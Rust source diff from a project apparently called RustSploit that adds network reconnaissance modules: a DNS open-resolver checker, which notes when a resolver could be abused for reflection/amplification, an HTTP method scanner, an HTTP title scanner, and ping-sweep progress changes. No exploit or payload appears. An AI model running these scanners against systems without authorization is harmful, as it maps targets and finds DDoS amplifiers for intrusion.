let stream = UdpClientStream::<UdpSocket>::with_timeout(socket_addr, timeout);
let (mut client, bg) =
AsyncClient::connect(stream).await.context("Failed to initiate DNS client")?;
tokio::spawn(bg);
let response: DnsResponse = client
.query(name.clone(), DNSClass::IN, record_type)
.await
.with_context(|| format!("DNS query to {} failed", display_target))?;
let (message, _) = response.into_parts();
report_result(&message, display_target, record_type);
Ok(())
}
fn report_result(message: &Message, display_target: &str, record_type: RecordType) {
let recursion_available = message.recursion_available();
let recursion_desired = message.recursion_desired();
let authoritative = message.authoritative();
let truncated = message.truncated();
let rcode = message.response_code();
println!();
println!(
"{}",
format!(
"[*] Response code: {:?} | Answers: {} | Authority: {} | Additional: {}",
rcode,
message.answers().len(),
message.name_servers().len(),
message.additionals().len()
)
);
if truncated {
println!("[!] Response was truncated (TC flag set).");
}
println!(
"[*] Flags: RD={} RA={} AA={}",
recursion_desired, recursion_available, authoritative
);
if recursion_available && rcode != ResponseCode::Refused {
println!(
"{}",
format!(
"[+] {} appears to allow recursion (RA flag set) for {} {} queries.",
display_target,
record_type,
if authoritative { "(authoritative data returned)" } else { "" }
)
.green()
);
println!(
"{}",
" This resolver may be abused for reflection/amplification attacks (ANY/DNSSEC)."
.yellow()
);
} else if recursion_available && rcode == ResponseCode::Refused {
println!(
"{}",
format!(
"[-] {} reports recursion available but refused the request (likely ACL protected).",
display_target
)
.yellow()
);
} else {
println!(
"{}",
format!(
"[-] {} does not appear to allow recursion (RA flag unset or query refused).",
display_target
)
.red()
);
}
}
fn parse_record_type(input: &str) -> Result<RecordType> {
match input.trim().to_uppercase().as_str() {
"A" => Ok(RecordType::A),
"AAAA" => Ok(RecordType::AAAA),
"ANY" => Ok(RecordType::ANY),
"DNSKEY" => Ok(RecordType::DNSKEY),
"TXT" => Ok(RecordType::TXT),
"MX" => Ok(RecordType::MX),
other => Err(anyhow!("Unsupported record type '{}'", other)),
}
}
async fn resolve_target(host: &str, port: u16) -> Result<(SocketAddr, String)> {
if let Ok(ip) = host.parse::<IpAddr>() {
let addr = SocketAddr::new(ip, port);
return Ok((addr, format_endpoint(host, port)));
}
let mut addrs_iter = (host, port)
.to_socket_addrs()
.with_context(|| format!("Unable to resolve '{}:{}'", host, port))?;
let addr = addrs_iter
.next()
.ok_or_else(|| anyhow!("No socket addresses resolved for '{}:{}'", host, port))?;
Ok((addr, addr.to_string()))
}
fn random_test_domain() -> String {
let mut rng = rand::rng();
let random_label: String = (0..12)
.map(|_| {
let n = rng.random_range(0..36);
if n < 10 {
(b'0' + n) as char
} else {
(b'a' + (n - 10)) as char
}
})
.collect();
format!("{}.rustsploit.test", random_label)
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
let trimmed = buf.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else if trimmed.len() > 255 {
Err(anyhow!("Input too long"))
} else {
Ok(trimmed.to_string())
}
}
fn prompt_port(message: &str, default: u16) -> Result<u16> {
loop {
let prompt = format!("{} [{}]: ", message, default);
print!("{}", prompt);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
let trimmed = buf.trim();
if trimmed.is_empty() {
return Ok(default);
}
if let Ok(value) = trimmed.parse::<u16>() {
if value > 0 {
return Ok(value);
}
}
println!("Please provide a valid port between 1 and 65535.");
}
}
fn prompt_line(message: &str) -> Result<String> {
print!("{}", message);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
let trimmed = buf.trim();
if trimmed.len() > 255 {
return Err(anyhow!("Input too long (max 255 characters)."));
}
Ok(trimmed.to_string())
}
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
let hint = if default_yes { "Y/n" } else { "y/N" };
loop {
let prompt = format!("{} [{}]: ", message, hint);
print!("{}", prompt);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
let trimmed = buf.trim().to_lowercase();
match trimmed.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
"stop" => return Ok(false),
_ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
}
}
}
fn collect_targets(initial: &str) -> Result<Vec<TargetSpec>> {
let mut targets = Vec::new();
let mut seen: HashSet<String> = HashSet::new();
let trimmed_initial = initial.trim();
if !trimmed_initial.is_empty() {
let added = parse_targets_from_str(trimmed_initial, "cli", &mut seen, &mut targets);
if added == 0 && Path::new(trimmed_initial).is_file() {
println!(
"{}",
format!("[*] Loading targets from file '{}'", trimmed_initial).cyan()
);
match parse_targets_from_file(trimmed_initial, &mut seen, &mut targets) {
Ok(count) => {
if count == 0 {
println!("{}", " No valid targets found in file.".yellow());
} else {
println!(
"{}",
format!(
" Loaded {} target(s) from '{}'",
count, trimmed_initial
)
.green()
);
}
}
Err(err) => {
eprintln!(
"{}",
format!(
" Failed to read '{}': {}",
trimmed_initial, err
)
.red()
);
}
}
}
}
if prompt_yes_no(
"Add additional targets manually? (type 'stop' to finish)",
targets.is_empty(),
)? {
loop {
let entry = prompt_line("Target (IP/host[:port], 'stop' to finish): ")?;
if entry.is_empty() {
continue;
}
if entry.eq_ignore_ascii_case("stop") {
break;
}
add_target_token(&entry, "interactive", &mut seen, &mut targets);
}
}
if prompt_yes_no("Load targets from file?", false)? {
loop {
let path_input = prompt_line("Path to file ('stop' to finish): ")?;
if path_input.is_empty() {
continue;
}
if path_input.eq_ignore_ascii_case("stop") {
break;
}
match parse_targets_from_file(&path_input, &mut seen, &mut targets) {
Ok(count) => {
if count == 0 {
println!(
"{}",
format!(" No valid targets parsed from '{}'", path_input).yellow()
);
} else {
println!(
"{}",
format!(
" Loaded {} target(s) from '{}'",
count, path_input
)
.green()
);
}
}
Err(err) => eprintln!(
"{}",
format!(" Failed to read '{}': {}", path_input, err).red()
),
}
}
}
Ok(targets)
}
fn parse_targets_from_str(
input: &str,
context: &str,
seen: &mut HashSet<String>,
targets: &mut Vec<TargetSpec>,
) -> usize {
let mut added = 0usize;
for token in input
.split(|c: char| c == ',' || c.is_ascii_whitespace())
.filter_map(|segment| {
let trimmed = segment.trim();
if trimmed.is_empty() {
None
} else {
Some(trimmed)
}
})
{
if add_target_token(token, context, seen, targets) {
added += 1;
}
}
added
}
fn parse_targets_from_file(
path: &str,
seen: &mut HashSet<String>,
targets: &mut Vec<TargetSpec>,
) -> Result<usize> {
let file = File::open(path)
.with_context(|| format!("Failed to open target file '{}'", path))?;
let reader = BufReader::new(file);
let mut added = 0usize;
for (idx, line) in reader.lines().enumerate() {
let line = line?;
let content = line.split('#').next().unwrap_or("").trim();
if content.is_empty() {
continue;
}
let ctx = format!("file:{}:{}", path, idx + 1);
added += parse_targets_from_str(content, &ctx, seen, targets);
}
Ok(added)
}
fn add_target_token(
token: &str,
context: &str,
seen: &mut HashSet<String>,
targets: &mut Vec<TargetSpec>,
) -> bool {
if token.eq_ignore_ascii_case("stop") {
return false;
}
match parse_target_spec(token) {
Ok(spec) => {
let key = format!("{}:{}", spec.host, spec.port.unwrap_or(0));
if seen.insert(key) {
println!(
"{}",
format!(" [{}] Added target {}", context, spec.input).cyan()
);
targets.push(spec);
true
} else {
println!(
"{}",
format!(" [{}] Duplicate target '{}' skipped", context, token).dimmed()
);
false
}
}
Err(err) => {
eprintln!(
"{}",
format!(
" [{}] Skipping invalid target '{}': {}",
context, token, err
)
.yellow()
);
false
}
}
}
fn parse_target_spec(token: &str) -> Result<TargetSpec> {
let sanitized = sanitize_target_input(token)?;
let (host, port) = split_host_port(&sanitized)?;
Ok(TargetSpec {
input: sanitized.clone(),
host: host.to_lowercase(),
port,
})
}
fn sanitize_target_input(input: &str) -> Result<String> {
let trimmed = input.trim();
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
if trimmed.len() > 255 {
return Err(anyhow!(
"Target '{}' is too long (maximum 255 characters)",
trimmed
));
}
if !trimmed
.chars()
.all(|c| c.is_ascii_alphanumeric() || ".-_:[]".contains(c))
{
return Err(anyhow!(
"Target '{}' contains invalid characters. Allowed: A-Z, 0-9, '.', '-', '_', ':', '[', ']'",
trimmed
));
}
Ok(trimmed.to_string())
}
fn split_host_port(value: &str) -> Result<(String, Option<u16>)> {
if value.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
if let Ok(addr) = value.parse::<SocketAddr>() {
return Ok((addr.ip().to_string(), Some(addr.port())));
}
if value.starts_with('[') {
let end = value
.find(']')
.ok_or_else(|| anyhow!("Malformed IPv6 target '{}': missing ']'", value))?;
let host = value[1..end].to_string();
if value.len() == end + 1 {
return Ok((host, None));
}
if !value[end + 1..].starts_with(':') {
return Err(anyhow!(
"Malformed IPv6 target '{}': expected ':' after ']'",
value
));
}
let port_part = &value[end + 2..];
if port_part.is_empty() {
return Err(anyhow!("Missing port after IPv6 address in '{}'", value));
}
let port = port_part
.parse::<u16>()
.with_context(|| format!("Invalid port '{}' in target '{}'", port_part, value))?;
if port == 0 {
return Err(anyhow!("Port must be between 1 and 65535"));
}
return Ok((host, Some(port)));
}
if value.ends_with(':') {
return Err(anyhow!(
"Invalid target '{}': trailing ':' without port",
value
));
}
let colon_count = value.matches(':').count();
if colon_count == 1 {
let idx = value.rfind(':').unwrap();
let host_part = &value[..idx];
let port_part = &value[idx + 1..];
if host_part.is_empty() {
return Err(anyhow!("Host cannot be empty in target '{}'", value));
}
if !port_part.chars().all(|c| c.is_ascii_digit()) {
return Err(anyhow!(
"Invalid port '{}' in target '{}'",
port_part,
value
));
}
let port = port_part
.parse::<u16>()
.with_context(|| format!("Invalid port '{}' in target '{}'", port_part, value))?;
if port == 0 {
return Err(anyhow!("Port must be between 1 and 65535"));
}
return Ok((host_part.to_string(), Some(port)));
}
if colon_count >= 2 {
let ip = value.parse::<IpAddr>().with_context(|| {
format!(
"Invalid IPv6 address '{}' (use [addr]:port for scoped ports)",
value
)
})?;
return Ok((ip.to_string(), None));
}
Ok((value.to_string(), None))
}
fn format_endpoint(host: &str, port: u16) -> String {
match host.parse::<IpAddr>() {
Ok(IpAddr::V6(_)) => format!("[{}]:{}", host, port),
_ => format!("{}:{}", host, port),
}
}
fn validate_domain_input(input: &str) -> Result<String> {
let trimmed = input.trim();
if trimmed.is_empty() {
return Err(anyhow!("Domain cannot be empty"));
}
if trimmed.len() > 253 {
return Err(anyhow!(
"Domain '{}' is too long (maximum 253 characters)",
trimmed
));
}
let without_dot = trimmed.trim_end_matches('.');
if without_dot.is_empty() {
return Err(anyhow!("Domain cannot be empty"));
}
if without_dot
.chars()
.any(|c| !(c.is_ascii_alphanumeric() || c == '.' || c == '-' || c == '_'))
{
return Err(anyhow!(
"Domain '{}' contains invalid characters. Allowed: A-Z, 0-9, '-', '_', '.'",
trimmed
));
}
Ok(without_dot.to_lowercase())
}
+375
View File
@@ -0,0 +1,375 @@
use anyhow::{anyhow, Context, Result};
use chrono::Utc;
use reqwest::{Client, Method, StatusCode, Url};
use std::collections::HashSet;
use std::fs;
use std::io::{self, Write};
use std::time::Duration;
const METHODS: &[&str] = &[
"GET",
"POST",
"HEAD",
"OPTIONS",
"PUT",
"DELETE",
"PATCH",
"TRACE",
"CONNECT",
];
struct MethodResult {
method: &'static str,
status: Option<StatusCode>,
ok: bool,
error: Option<String>,
duration_ms: u128,
}
struct TargetResult {
target: String,
results: Vec<MethodResult>,
}
pub async fn run(initial_target: &str) -> Result<()> {
banner();
let mut targets = collect_initial_targets(initial_target);
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
if !additional.is_empty() {
targets.extend(split_targets(&additional));
}
let file_path = prompt("Path to file with targets (optional): ")?;
if !file_path.is_empty() {
let file_targets = load_targets_from_file(&file_path)?;
targets.extend(file_targets);
}
let default_scheme_input = prompt("Preferred scheme (http/https, default https): ")?;
let default_scheme = match default_scheme_input.to_lowercase().as_str() {
"http" => "http",
_ => "https",
};
let use_ports = prompt_bool(
"Test via specific ports (port tunneling)? (yes/no, default no): ",
false,
)?;
let ports = if use_ports {
prompt_ports()?
} else {
Vec::new()
};
let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
let timeout_secs: u64 = timeout_input
.parse()
.ok()
.filter(|val| *val > 0)
.unwrap_or(10);
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
let mut normalized = normalize_targets(targets, default_scheme);
if !ports.is_empty() {
let expanded = expand_targets_with_ports(&normalized, &ports);
if expanded.is_empty() {
println!("[!] No valid port combinations derived; continuing without port tunneling.");
} else {
normalized = expanded;
}
}
if normalized.is_empty() {
return Err(anyhow!("No valid targets provided"));
}
normalized.sort();
let client = Client::builder()
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
.timeout(Duration::from_secs(timeout_secs))
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let mut all_results = Vec::new();
for target in &normalized {
println!("\n=== Target: {} ===", target);
let mut method_results = Vec::new();
for &method_name in METHODS {
let method = Method::from_bytes(method_name.as_bytes()).unwrap_or(Method::GET);
let body = match method_name {
"POST" | "PUT" | "PATCH" => Some("RustSploit HTTP method scanner test".to_string()),
_ => None,
};
let start = std::time::Instant::now();
let response = if let Some(ref payload) = body {
client
.request(method.clone(), target)
.body(payload.clone())
.send()
.await
} else {
client.request(method.clone(), target).send().await
};
let elapsed = start.elapsed();
match response {
Ok(resp) => {
let status = resp.status();
let ok = status.is_success();
if verbose {
println!(
" [{}] {} -> {} ({:.2?})",
method_name,
target,
status,
elapsed
);
} else {
println!(" [{}] {}", method_name, status);
}
method_results.push(MethodResult {
method: method_name,
status: Some(status),
ok,
error: None,
duration_ms: elapsed.as_millis(),
});
}
Err(err) => {
if verbose {
println!(
" [{}] {} -> error: {} ({:.2?})",
method_name,
target,
err,
elapsed
);
} else {
println!(" [{}] error: {}", method_name, err);
}
method_results.push(MethodResult {
method: method_name,
status: None,
ok: false,
error: Some(err.to_string()),
duration_ms: elapsed.as_millis(),
});
}
}
}
all_results.push(TargetResult {
target: target.clone(),
results: method_results,
});
}
if save_output {
let default_name = format!(
"http_method_scan_{}.txt",
Utc::now().format("%Y%m%d_%H%M%S")
);
let output_path = prompt_with_default(
"Enter output file path (press Enter for default): ",
&default_name,
)?;
write_report(&output_path, &all_results)?;
println!("[*] Results saved to {}", output_path);
}
println!("\n[*] Scan complete.");
Ok(())
}
fn banner() {
println!(
"{}",
r#"
HTTP METHOD CAPABILITY SCANNER
Checks support for common verbs
"#
);
}
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
let mut targets = Vec::new();
let trimmed = initial_target.trim();
if !trimmed.is_empty() && trimmed != "http_method_scanner" {
targets.extend(split_targets(trimmed));
}
targets
}
fn split_targets(input: &str) -> Vec<String> {
input
.split(|c| c == ',' || c == '\n' || c == ';')
.map(|item| item.trim().trim_end_matches('/').to_string())
.filter(|item| !item.is_empty())
.collect()
}
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
let data = fs::read_to_string(path)
.with_context(|| format!("Failed to read target file: {}", path))?;
Ok(split_targets(&data))
}
fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String> {
let mut unique = HashSet::new();
let mut normalized = Vec::new();
for raw in targets {
let target = raw.trim();
if target.is_empty() {
continue;
}
let formatted = if target.starts_with("http://")
|| target.starts_with("https://")
|| target.contains("://")
{
target.to_string()
} else {
format!("{}://{}", default_scheme, target)
};
if unique.insert(formatted.clone()) {
normalized.push(formatted);
}
}
normalized
}
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
let mut expanded = Vec::new();
let mut seen = HashSet::new();
for target in targets {
if let Ok(mut url) = Url::parse(target) {
for port in ports {
if url.set_port(Some(*port)).is_ok() {
let final_url = url.to_string();
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
} else {
for port in ports {
let final_url = format!("{}:{}", target, port);
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
}
expanded
}
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
io::stdin()
.read_line(&mut input)
.context("Failed to read user input")?;
Ok(input.trim().to_string())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let default_text = if default { "yes" } else { "no" };
let input = prompt(message)?;
if input.is_empty() {
return Ok(default);
}
match input.to_lowercase().as_str() {
"y" | "yes" | "true" => Ok(true),
"n" | "no" | "false" => Ok(false),
_ => {
println!("[!] Invalid input, using default ({})", default_text);
Ok(default)
}
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
let input = prompt(message)?;
if input.is_empty() {
Ok(default.to_string())
} else {
Ok(input)
}
}
fn prompt_ports() -> Result<Vec<u16>> {
let input = prompt(
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
)?;
if input.is_empty() {
println!("[!] No ports provided; skipping port tunneling.");
return Ok(Vec::new());
}
let mut ports = Vec::new();
let mut seen = HashSet::new();
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
let trimmed = part.trim();
if trimmed.is_empty() {
continue;
}
match trimmed.parse::<u16>() {
Ok(port) => {
if seen.insert(port) {
ports.push(port);
}
}
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
}
}
if ports.is_empty() {
println!("[!] No valid ports parsed; skipping port tunneling.");
}
Ok(ports)
}
fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
let mut lines = Vec::new();
lines.push("HTTP Method Scanner Report".to_string());
lines.push(format!("Generated at: {}", Utc::now()));
lines.push(String::new());
for target in results {
lines.push(format!("Target: {}", target.target));
for method in &target.results {
if let Some(status) = method.status {
lines.push(format!(
" - {:<7} status: {:<5} success: {:<5} time: {} ms",
method.method,
status.as_u16(),
method.ok,
method.duration_ms
));
} else if let Some(ref error) = method.error {
lines.push(format!(
" - {:<7} error: {} time: {} ms",
method.method, error, method.duration_ms
));
}
}
lines.push(String::new());
}
fs::write(path, lines.join("\n"))
.with_context(|| format!("Failed to write report to {}", path))
}
+356 -16
View File
@@ -1,33 +1,373 @@
use anyhow::{Result, Context};
use anyhow::{anyhow, Context, Result};
use chrono::Utc;
use regex::Regex;
use reqwest::Client;
use reqwest::{Client, StatusCode, Url};
use std::collections::HashSet;
use std::fs;
use std::io::{self, Write};
use std::time::Duration;
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run(initial_target: &str) -> Result<()> {
banner();
let mut targets = collect_initial_targets(initial_target);
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
if !additional.is_empty() {
targets.extend(split_targets(&additional));
}
let file_path = prompt("Path to file with targets (optional): ")?;
if !file_path.is_empty() {
let file_targets = load_targets_from_file(&file_path)?;
targets.extend(file_targets);
}
let check_http = prompt_bool("Check HTTP (http://)? (yes/no, default yes): ", true)?;
let check_https = prompt_bool("Check HTTPS (https://)? (yes/no, default yes): ", true)?;
if !check_http && !check_https {
println!("[!] Neither HTTP nor HTTPS selected; nothing to scan.");
return Ok(());
}
let use_ports = prompt_bool(
"Test via specific ports (port tunneling)? (yes/no, default no): ",
false,
)?;
let ports = if use_ports {
prompt_ports()?
} else {
Vec::new()
};
let timeout_secs = prompt_timeout()?;
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
let mut normalized = normalize_targets(targets, check_http, check_https);
if !ports.is_empty() {
let expanded = expand_targets_with_ports(&normalized, &ports);
if expanded.is_empty() {
println!("[!] No valid port combinations derived; continuing without port tunneling.");
} else {
normalized = expanded;
}
}
if normalized.is_empty() {
return Err(anyhow!("No valid targets provided"));
}
normalized.sort();
pub async fn run_interactive(target: &str) -> Result<()> {
let client = Client::builder()
.user_agent("RustSploit-HTTP-Title-Scanner/1.0")
.timeout(Duration::from_secs(timeout_secs))
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let title_re = Regex::new(r"(?i)<title>(.*?)</title>")?;
for scheme in ["http", "https"] {
let url = format!("{}://{}", scheme, target);
match client.get(&url).send().await {
Ok(resp) => {
let text = resp.text().await.unwrap_or_default();
if let Some(cap) = title_re.captures(&text) {
println!("[+] {} -> {}", url, cap.get(1).unwrap().as_str());
let title_re = Regex::new(r"(?is)<title\b[^>]*>(.*?)</title>")?;
let mut all_results = Vec::new();
for url in &normalized {
match fetch_title(&client, url, &title_re).await {
Ok(result) => {
if let Some(title) = &result.title {
println!("[+] {} -> {}" , url, title);
} else if let Some(status) = result.status {
println!("[+] {} -> <no title> (status: {})", url, status);
} else {
println!("[+] {} -> <no title>", url);
}
if verbose {
if let Some(status) = result.status {
println!(" Status: {}", status);
}
println!(" Duration: {} ms", result.duration_ms);
}
all_results.push(result);
}
Err(e) => {
println!("[-] Failed {}: {}", url, e);
Err(err) => {
println!("[-] {} -> error: {}", url, err);
all_results.push(TitleResult {
url: url.clone(),
status: None,
title: None,
error: Some(err.to_string()),
duration_ms: 0,
});
}
}
}
if save_output {
let default_name = format!(
"http_title_scan_{}.txt",
Utc::now().format("%Y%m%d_%H%M%S")
);
let output_path = prompt_with_default(
"Enter output file path (press Enter for default): ",
&default_name,
)?;
write_report(&output_path, &all_results)?;
println!("[*] Results saved to {}", output_path);
}
println!("\n[*] Scan complete.");
Ok(())
}
struct TitleResult {
url: String,
status: Option<StatusCode>,
title: Option<String>,
error: Option<String>,
duration_ms: u128,
}
impl TitleResult {
fn display_title(&self) -> String {
match (&self.title, &self.error) {
(Some(title), _) => title.clone(),
(None, Some(err)) => format!("error: {}", err),
(None, None) => "<no title>".to_string(),
}
}
}
async fn fetch_title(client: &Client, url: &str, title_re: &Regex) -> Result<TitleResult> {
let start = std::time::Instant::now();
let response = client.get(url).send().await.context("Request failed")?;
let status = response.status();
let text = response.text().await.unwrap_or_default();
let title = title_re
.captures(&text)
.and_then(|cap| cap.get(1))
.map(|m| sanitize_title(m.as_str()));
let duration = start.elapsed().as_millis();
Ok(TitleResult {
url: url.to_string(),
status: Some(status),
title,
error: None,
duration_ms: duration,
})
}
fn sanitize_title(raw: &str) -> String {
raw
.lines()
.map(|line| line.trim())
.filter(|line| !line.is_empty())
.collect::<Vec<_>>()
.join(" ")
.chars()
.take(200)
.collect()
}
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
let mut targets = Vec::new();
let trimmed = initial_target.trim();
if !trimmed.is_empty() && trimmed != "http_title_scanner" {
targets.extend(split_targets(trimmed));
}
targets
}
fn split_targets(input: &str) -> Vec<String> {
input
.split(|c| c == ',' || c == '\n' || c == ';')
.map(|item| item.trim().trim_end_matches('/').to_string())
.filter(|item| !item.is_empty())
.collect()
}
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
let data = fs::read_to_string(path)
.with_context(|| format!("Failed to read target file: {}", path))?;
Ok(split_targets(&data))
}
fn normalize_targets(targets: Vec<String>, check_http: bool, check_https: bool) -> Vec<String> {
let mut unique = HashSet::new();
let mut normalized = Vec::new();
for raw in targets {
let target = raw.trim();
if target.is_empty() {
continue;
}
if target.starts_with("http://") || target.starts_with("https://") {
if unique.insert(target.to_string()) {
normalized.push(target.to_string());
}
continue;
}
if check_https {
let https = format!("https://{}", target);
if unique.insert(https.clone()) {
normalized.push(https);
}
}
if check_http {
let http = format!("http://{}", target);
if unique.insert(http.clone()) {
normalized.push(http);
}
}
}
normalized
}
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
let mut expanded = Vec::new();
let mut seen = HashSet::new();
for target in targets {
if let Ok(url) = Url::parse(target) {
for port in ports {
let mut candidate = url.clone();
if candidate.set_port(Some(*port)).is_ok() {
let final_url = candidate.to_string();
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
} else {
for port in ports {
let final_url = format!("{}:{}", target, port);
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
}
expanded
}
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
io::stdin()
.read_line(&mut input)
.context("Failed to read user input")?;
Ok(input.trim().to_string())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let default_text = if default { "yes" } else { "no" };
let input = prompt(message)?;
if input.is_empty() {
return Ok(default);
}
match input.to_lowercase().as_str() {
"y" | "yes" | "true" => Ok(true),
"n" | "no" | "false" => Ok(false),
_ => {
println!("[!] Invalid input, using default ({})", default_text);
Ok(default)
}
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
let input = prompt(message)?;
if input.is_empty() {
Ok(default.to_string())
} else {
Ok(input)
}
}
fn prompt_timeout() -> Result<u64> {
let input = prompt("Request timeout in seconds (default 10): ")?;
if input.is_empty() {
return Ok(10);
}
match input.parse::<u64>() {
Ok(val) if val > 0 => Ok(val),
_ => {
println!("[!] Invalid timeout, using default (10s)");
Ok(10)
}
}
}
fn prompt_ports() -> Result<Vec<u16>> {
let input = prompt(
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
)?;
if input.is_empty() {
println!("[!] No ports provided; skipping port tunneling.");
return Ok(Vec::new());
}
let mut ports = Vec::new();
let mut seen = HashSet::new();
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
let trimmed = part.trim();
if trimmed.is_empty() {
continue;
}
match trimmed.parse::<u16>() {
Ok(port) => {
if seen.insert(port) {
ports.push(port);
}
}
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
}
}
if ports.is_empty() {
println!("[!] No valid ports parsed; skipping port tunneling.");
}
Ok(ports)
}
fn write_report(path: &str, results: &[TitleResult]) -> Result<()> {
let mut lines = Vec::new();
lines.push("HTTP Title Scanner Report".to_string());
lines.push(format!("Generated at: {}", Utc::now()));
lines.push(String::new());
for result in results {
let status_text = result
.status
.map(|s| s.as_u16().to_string())
.unwrap_or_else(|| "n/a".to_string());
lines.push(format!(
"{} | status: {:<5} | title: {}",
result.url,
status_text,
result.display_title()
));
if result.duration_ms > 0 {
lines.push(format!(" duration: {} ms", result.duration_ms));
}
}
fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
}
fn banner() {
println!(
"{}",
r#"
HTTP TITLE SCANNER (RustSploit)
Enumerate page titles over HTTP/HTTPS endpoints
"#
);
}
+2
View File
@@ -4,3 +4,5 @@ pub mod port_scanner;
pub mod stalkroute_full_traceroute;
pub mod http_title_scanner;
pub mod ping_sweep;
pub mod http_method_scanner;
pub mod dns_recursion;
+79 -13
View File
@@ -292,11 +292,15 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
let verbose = config.verbose;
let success_counter = Arc::new(AtomicUsize::new(0));
let processed_counter = Arc::new(AtomicUsize::new(0));
let start_time = std::time::Instant::now();
let mut tasks = Vec::new();
for ip in hosts {
let sem = semaphore.clone();
let methods_clone = methods.clone();
let success_clone = success_counter.clone();
let processed_clone = processed_counter.clone();
tasks.push(tokio::spawn(async move {
let permit = match sem.acquire_owned().await {
Ok(p) => p,
@@ -326,11 +330,32 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
}
drop(permit);
let processed = processed_clone.fetch_add(1, Ordering::Relaxed) + 1;
// Progress indicator every 100 hosts or at completion
if processed % 100 == 0 || processed == total_hosts {
let elapsed = start_time.elapsed().as_secs();
let rate = if elapsed > 0 { (processed as u64) / elapsed } else { 0 };
print!(
"\r{}",
format!(
"[*] Progress: {}/{} hosts ({:.1}%) | Up: {} | Rate: {}/s",
processed,
total_hosts,
(processed as f64 / total_hosts as f64) * 100.0,
success_clone.load(Ordering::Relaxed),
rate
)
.dimmed()
);
io::stdout().flush().ok();
}
if !successes.is_empty() {
success_clone.fetch_add(1, Ordering::Relaxed);
println!(
"{}",
"\r{}",
format!(
"[+] Host {} is up ({})",
ip_string,
@@ -339,7 +364,7 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
.green()
);
} else if verbose {
println!("{}", format!("[-] Host {} is down", ip_string).dimmed());
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
}
}));
}
@@ -347,6 +372,10 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
for task in tasks {
let _ = task.await;
}
// Clear progress line
print!("\r{}\r", " ".repeat(80));
io::stdout().flush().ok();
let up_hosts = success_counter.load(Ordering::Relaxed);
println!(
@@ -362,14 +391,35 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
}
async fn icmp_probe(ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
// Try to detect the OS and use appropriate ping command
let wait_secs = timeout.as_secs().max(1).to_string();
let ip_str = ip.to_string();
let (cmd, args_vec) = if ip.is_ipv4() {
// Try ping first, fallback to ping6 for IPv4 if ping doesn't exist
if which::which("ping").is_ok() {
("ping", vec!["-c", "1", "-W", &wait_secs, &ip_str])
} else if which::which("ping6").is_ok() {
("ping6", vec!["-c", "1", "-W", &wait_secs, &ip_str])
} else {
return Err(anyhow!("Neither 'ping' nor 'ping6' command found. Install ping utility."));
}
} else {
// IPv6
if which::which("ping6").is_ok() {
("ping6", vec!["-c", "1", "-W", &wait_secs, &ip_str])
} else if which::which("ping").is_ok() {
// Some systems use ping -6 for IPv6
("ping", vec!["-6", "-c", "1", "-W", &wait_secs, &ip_str])
} else {
return Err(anyhow!("Neither 'ping' nor 'ping6' command found. Install ping utility."));
}
};
let result = tokio::time::timeout(
timeout,
Command::new(cmd)
.args(["-c", "1", "-W", &wait_secs, &ip_str])
.args(args_vec)
.output(),
)
.await;
